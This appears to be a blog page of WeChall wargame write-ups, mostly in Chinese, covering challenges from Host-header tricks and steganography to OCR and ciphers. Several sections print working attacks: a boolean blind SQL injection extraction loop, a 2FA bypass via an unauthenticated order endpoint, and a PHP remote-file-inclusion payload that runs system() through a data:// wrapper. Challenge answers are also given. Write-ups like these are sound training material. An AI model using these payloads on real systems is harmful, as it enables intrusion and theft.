Hello Navi

Tech, Security & Personal Notes

Challenge

As an easter present i have coded up a new feature. Your mission is to find the 9 eastereggs on the map which were hid by the EasterBunny.

WeChall 有一个 Hackerspace 地图功能(Google Maps),用户可以在地图上放置标记点。需要找到 EasterBunny 用户隐藏的 9 个彩蛋。

Solution

WeChall 的地图数据通过 POI API 端点暴露。直接查询全球范围的 bounding box:

1
2
$ curl -sL -b 'WC=...' \
'https://www.wechall.net/en/index.php?mo=Profile&me=POIS&minlat=-90&maxlat=90&minlon=-180&maxlon=180'

返回所有用户的 POI 数据。过滤 EasterBunny(uid 11212)的标记,得到 9 个彩蛋:

  • acknowledge — 韩国 (35.68, 127.90)
  • beauty — 复活节岛 (-27.12, -109.28)
  • charming — 巨石阵 (51.17, -1.82)
  • depth — 太平洋 (15.70, -141.62)
  • elegance — 日本 (34.52, 136.36)
  • fantasy — 南大西洋 (-52.65, 33.71)
  • guidance — 瑞典 (57.71, 11.99)
  • hackerspace — 德国 (51.73, 10.26)
  • inspiration — 埃及/吉萨 (29.97, 31.13)

答案按字母顺序排列,逗号分隔。

acknowledge,beauty,charming,depth,elegance,fantasy,guidance,hackerspace,inspiration

Challenge

题目要求访问:

1
https://make.love.not.war.com/challenge/training/net/nodns/etc/hosts.php

名字叫 No DNS——核心是让请求到达这个域名指向的服务器,而不依赖正常 DNS 流程。域名 make.love.not.war.com 在 WeChall 上是一个虚拟主机,你需要合适的方式把解析指向 WeChall 服务器。

Solution

curl --resolve 最干净:只影响这一条请求,不需要改系统 /etc/hosts

不要在 writeup 中硬编码老 IP。WeChall 的解析 IP 可能变化,运行时动态取当前 IP:

1
IP=$(dig +short www.wechall.net A | head -n1)

然后让 curl 对目标域名使用这个 IP:

1
2
3
4
curl -sk \
--resolve "make.love.not.war.com:443:$IP" \
-b 'WC=...' \
'https://make.love.not.war.com/challenge/training/net/nodns/etc/hosts.php'

参数含义:

  • --resolve HOST:PORT:IP:只为当前 curl 请求手动指定解析结果,不发起 DNS 查询
  • -k:忽略证书校验(证书是 wechall.net 签发的,域名不匹配)
  • -b 'WC=...':携带 WeChall 登录 cookie

等价方法是临时写 /etc/hosts,但这会修改系统状态,完成后需要恢复;优先用 --resolve

--resolve 在各协议层的影响:

直接连 IP --resolve
DNS 不查 不查(被 curl 的映射表劫持)
TCP 目标 你给的 IP 你给的 IP
TLS SNI IP(或无) 原始域名
HTTP Host IP 原始域名

--resolve 只劫持了 DNS 解析入口——修改的是 curl 进程自己的 DNS 缓存表,不是内核协议栈。TCP 层的目标 IP 跟着你的指定走了,但上层的 TLS SNI 和 HTTP Host header 都保持原始域名不变。这正是"No DNS"的精髓:不在 DNS 层面做任何事(域名不存在),但让上层协议以为请求经过了正常解析。

访问成功后页面会返回成功消息,挑战自动标记为 solved。

Challenge

HTTP Host header 攻击。需要利用 Host 头操纵来触发服务器端的虚拟主机访问或密码重置逻辑。

Solution

目标 URL 是 /en/challenge/space/host_me/index.php

普通的 Host 头修改不够——服务器或反向代理通过 X-Forwarded-Host 头来决定实际路由的目标虚拟主机。发送 X-Forwarded-Host: localhost 头部,使服务器认为请求目标是本地服务,从而触发解题条件。

1
2
3
$ curl -b 'WC=...' \
-H 'X-Forwarded-Host: localhost' \
'https://www.wechall.net/en/challenge/space/host_me/index.php'

注意 X-Forwarded-Host 不是 --resolve(那是 DNS 解析层面),这里的攻击点位于 HTTP 代理层对上游 Host 的信任。

Challenge

Boolean blind SQL injection. Extract a 32-character hex hash from the database using boolean-based blind techniques.

Solution

源码审计确认 boolean blind SQLi。hash 是 32 位十六进制字符(0-9, A-F),共 16 种可能。每位用 4 次二分查询(16→8→4→2→1),32 位共 128 次。

核心注入 payload:

1
MID(password,{pos},1)>'{char}'

根据页面返回 True/False 判断字符范围,二分搜索确定每个字符。

1
2
3
4
5
6
7
8
9
10
for pos in range(1, 33):
lo, hi = 0, 15
while lo < hi:
mid = (lo + hi) // 2
# inject: MID(password,N,1) > HEX[mid]
if response_true:
lo = mid + 1
else:
hi = mid
result += alphabet[lo]
9DF0D5E04DC51E5A17A667DBD1C9EBEA

Challenge

Two-factor authentication bypass. A German ordering application ("Gurroga") has login + auth token (2FA). Need to order a "special article" without valid credentials.

Solution

源码审计(GitHub gizmore/gwf3)发现 2FA 绕过:

  1. 登录流程:POST /backend/api/login.php → 返回用户信息和文章列表
  2. 认证流程:POST /backend/api/authenticate.php → 验证 token
  3. 订单流程:POST /backend/api/bestellen.php不需要认证!

关键漏洞:订单 API 不验证用户是否已通过 2FA 认证,直接接受 userid 参数。

找到特殊文章:查询其他用户的订单历史(/backend/api/bestellhistorie.php?user=6),发现 user 6 订购了 "Challenge solution for Factor 2"(ID: 5678363)。

1
2
curl -X POST -d 'user=1&id=5678363&amt=1' \
'https://www.wechall.net/en/challenge/gizmore/factor2/backend/api/bestellen.php'
5678363

Challenge

Another challenge by Z. download it here

下载 stegano_woman.zip,解压得到 1.jpg2.jpg

Solution

ZIP 文件本身就有玄机。用 Python 的 zipfile 模块读取 ZIP 的 comment 字段:

1
2
3
import zipfile
with zipfile.ZipFile('stegano_woman.zip') as z:
print(repr(z.comment))

输出:

1
b'Stegano\r\n\t \t \t \t\t\t  \t \t\t\t\t  ...'

Stegano 后面跟着大量 \t(tab)和空格。这是经典的空白隐写(whitespace steganography)。

解码方法:tab=0,space=1(或反过来),每 8 位组成一个 ASCII 字符。

1
2
3
comment = z.comment.split(b'Stegano\r\n')[1].decode()
binary = comment.replace('\t', '0').replace(' ', '1')
text = ''.join(chr(int(binary[i:i+8], 2)) for i in range(0, len(binary), 8))
dangerous life

Challenge

A friend and me have a bet running, that you won't beat his OCR program in scanning text out of images. His average scan time is 2.5 seconds, can you beat that?

挑战页面显示一张包含扭曲文本的图片,需要编写或使用 OCR 工具来识别其中的文字。目标是比 WeChall 声称的 2.5 秒平均扫描时间更快地识别出来。

Solution

答案每 session 动态生成(每次请求 /gimme.php 获得新的图片),所以不能硬编码,必须每次重新 OCR。

工具链:

  • curl — 下载挑战图片,需要携带 cookie 和浏览器 UA
  • tesseract — OCR 引擎,参数 --psm 7 将图片视为单行文本(一行扭曲文字),配合 tessedit_char_whitelist 限制输出字符集提高准确率

步骤:

  1. 用 curl 获取图片,保存到临时文件
1
2
3
4
$ curl -sL -b 'WC=你的cookie' \
-A 'Mozilla/5.0 Chrome/131' \
-o /tmp/ocr.png \
'https://www.wechall.net/challenge/can_you_readme/gimme.php'

得到的图片是 524x68 4-bit colormap PNG。

  1. 用 tesseract 做 OCR
1
2
3
$ tesseract /tmp/ocr.png stdout \
--psm 7 \
-c tessedit_char_whitelist=abcdefghijklmnopqrstuvwxyz

参数说明: - --psm 7 — Treat image as a single line of text(图片是一行文字) - tessedit_char_whitelist — 限制输出为小写字母,排除杂音

  1. 提交答案
1
2
3
$ curl -sL -b 'WC=你的cookie' \
-A 'Mozilla/5.0 Chrome/131' \
'https://www.wechall.net/challenge/can_you_readme/index.php?solution=识别结果&cmd=Answer'

如果页面显示 "Solved By N People" 则提交成功。

实际执行过程:

第一次 OCR 识别出部分文本 internetitselfanincr,步过短说明识别不完整。换一张新图片重试后得到完整结果:

1
2
3
$ tesseract /tmp/ocr.png stdout --psm 7 \
-c tessedit_char_whitelist=abcdefghijklmnopqrstuvwxyz
altoassigngloballyuniq

提交后确认 solved("Solved By 514 People")。

动态答案说明: 由于图片每 session 不同,实际 OCR 结果会变化。以上方法适用于任何 session,只需确保 tesseract 参数正确(尤其是 --psm 7)。

altoassigngloballyuniq

Challenge

Warchall-hosted RFI challenge:

One reason why I wanted the warchall box is to offer more realistic webhacking challenges. You may now try the Live RFI challenge hosted on it. Note: There is a harsh firewall that only allows connections to wechall, warchall and the logserver.

The public WeChall page only gives the description and answer form; the vulnerable web app itself is hosted on Warchall at http://rfi.warchall.net/.

Recon

The vulnerable page at http://rfi.warchall.net/ has a lang parameter in the URL (index.php?lang=en, index.php?lang=de). Source disclosure via php://filter confirms the vulnerability:

1
$ curl 'http://rfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=index.php'

Decoded source (index.php):

1
2
3
4
5
6
$iso = Common::getGetString('lang', 'en');
ini_set('open_basedir', getcwd());
$lang = require $iso;
ini_set('open_basedir', '/');
$page = sprintf('%s<br/>%s', $lang['welcome'], $lang['construction']);
echo GWF_Website::displayPage($page);

The config file (live_rfi.config.php) is also readable:

1
$ curl -sL 'http://rfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=live_rfi.config.php' | base64 -d

This reveals DB credentials (RFI/RFI), domain (rfi.warchall.net), and salt (schnickschmugg).

Key observations: - require $iso includes whatever the user passes as lang — classic RFI/LFI. - open_basedir is set to getcwd() (the www directory) before the include, then reset to / after. - The included file must return an array with welcome and construction keys, because the code indexes into $lang['welcome'] and $lang['construction']. A payload that only prints output will cause a type error. - php://filter works for source disclosure (reading files within open_basedir). - The data:// wrapper is not blocked by open_basedirallow_url_include is enabled.

Exploit

Since data:// wrappers work and allow_url_include is On, we can execute arbitrary PHP without needing an external server (bypassing the firewall restriction entirely).

The payload needs to: 1. Execute a command (e.g., system()) 2. Capture the output via ob_start()/ob_get_clean() — raw system() output goes to stdout and won't appear in the $lang['welcome'] slot 3. Return an array with welcome and construction keys

1
$ curl 'http://rfi.warchall.net/index.php?lang=data://text/plain,<?php ob_start(); system("cat solution.php 2>&1"); $o = ob_get_clean(); return array("welcome"=>$o,"construction"=>""); ?>'

This reveals solution.php in the web root:

1
<?php return 'Low_H4NGING_Fruit'; ?>

Solution

Low_H4NGING_Fruit

Notes

  • The challenge name "Right-FI" is a play on "RFI" (Remote File Inclusion) and "Residual-current device" (the page subtitle).
  • open_basedir restricts filesystem path resolution to the current directory, but does not block PHP stream wrappers (data://, php://filter) when allow_url_include is enabled. This is a well-known PHP misconfiguration pitfall — open_basedir and allow_url_include are orthogonal controls.
  • php://input may or may not work depending on PHP version and open_basedir interaction; data:// is more reliable.
  • The firewall restriction (only wechall/warchall/logserver) is irrelevant when using data:// — no outbound connection is needed.
  • The en and de language files in the web directory are simple PHP files returning arrays with welcome and construction keys, which is why the exploit payload must also return the same array structure.
  • A simpler payload like data://text/plain,<?php print file_get_contents("solution.php"); ?> does NOT work because the code does $lang = require $iso and then accesses $lang['welcome'] — a string return is not an array.

Challenge

I have created an advanced version of the simple substitution cipher. It can now use chars in range from 0-255, but that should not stop you. The ciphertext is in the language of this text, and uses correct punctuation and case-sensitivity.

Substitution I 的进阶版。每次页面会生成一套新的 0-255 字节替换表,密文是十六进制字节序列,明文语言仍然是英文。

Solution

这题不能复用旧答案:同一个挑战在不同 session 下会给不同密文和不同的 solution 值。但明文模板是固定的,所以可以用 known plaintext 方法解码。

解法步骤:

  1. 访问挑战页面,获取当前 session 的十六进制密文
  2. 已知明文以 Congratulations! 开头,onat 等字母会在固定位置重复出现,以此建立字节到字符的映射
  3. 继续根据英文句子上下文补全映射,直到解出完整明文

完整明文模板为:

1
Congratulations! This one was harder, but you got it! Very well done fellow hacker! The problem with this cipher is that the key is pretty long! I will come up with a better encryption sheme any soon! Your solution is: <session-answer>!

注意原文里故意写成了 sheme,不是 scheme

解码脚本核心逻辑:

1
2
3
4
cipher = [int(x, 16) for x in re.findall(r'\b[0-9A-F]{2}\b', hex_blob)]
template = 'Congratulations! This one was harder, but you got it! Very well done fellow hacker! The problem with this cipher is that the key is pretty long! I will come up with a better encryption sheme any soon! Your solution is: '
mapping = {byte: char for byte, char in zip(cipher, template)}
plaintext = ''.join(mapping.get(byte, '?') for byte in cipher)
smrnneobfhoo

Challenge

SSL/TLS client certificate authentication challenge. The apache.conf shows authme.wechall.net requires client certificate verification.

需要使用客户端证书访问 authme.wechall.net 上的挑战页面。

Solution

关键线索在挑战页面的 find_me/ 目录下,存放着客户端证书文件:

1
2
3
$ curl -sL -b 'WC=...' 'https://www.wechall.net/en/challenge/space/auth_me/find_me/client.crt'
$ curl -sL -b 'WC=...' 'https://www.wechall.net/en/challenge/space/auth_me/find_me/client.key'
$ curl -sL -b 'WC=...' 'https://www.wechall.net/en/challenge/space/auth_me/find_me/client.p12'

Apache 配置文件 find_me/apache.conf 显示服务器要求客户端证书验证:

1
GnuTLSClientVerify require

使用下载的客户端证书访问目标页面:

1
2
3
$ curl -sk -b 'WC=...' \
--cert client.crt --key client.key \
'https://authme.wechall.net/challenge/space/auth_me/www/index.php'

返回:Your answer is correct. Congratulations you have solved this challenge.

关键:必须同时携带 WC cookie 和客户端证书,这样服务器才能将 solve 注册到你的账户。-k 参数跳过自签名证书验证。

+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE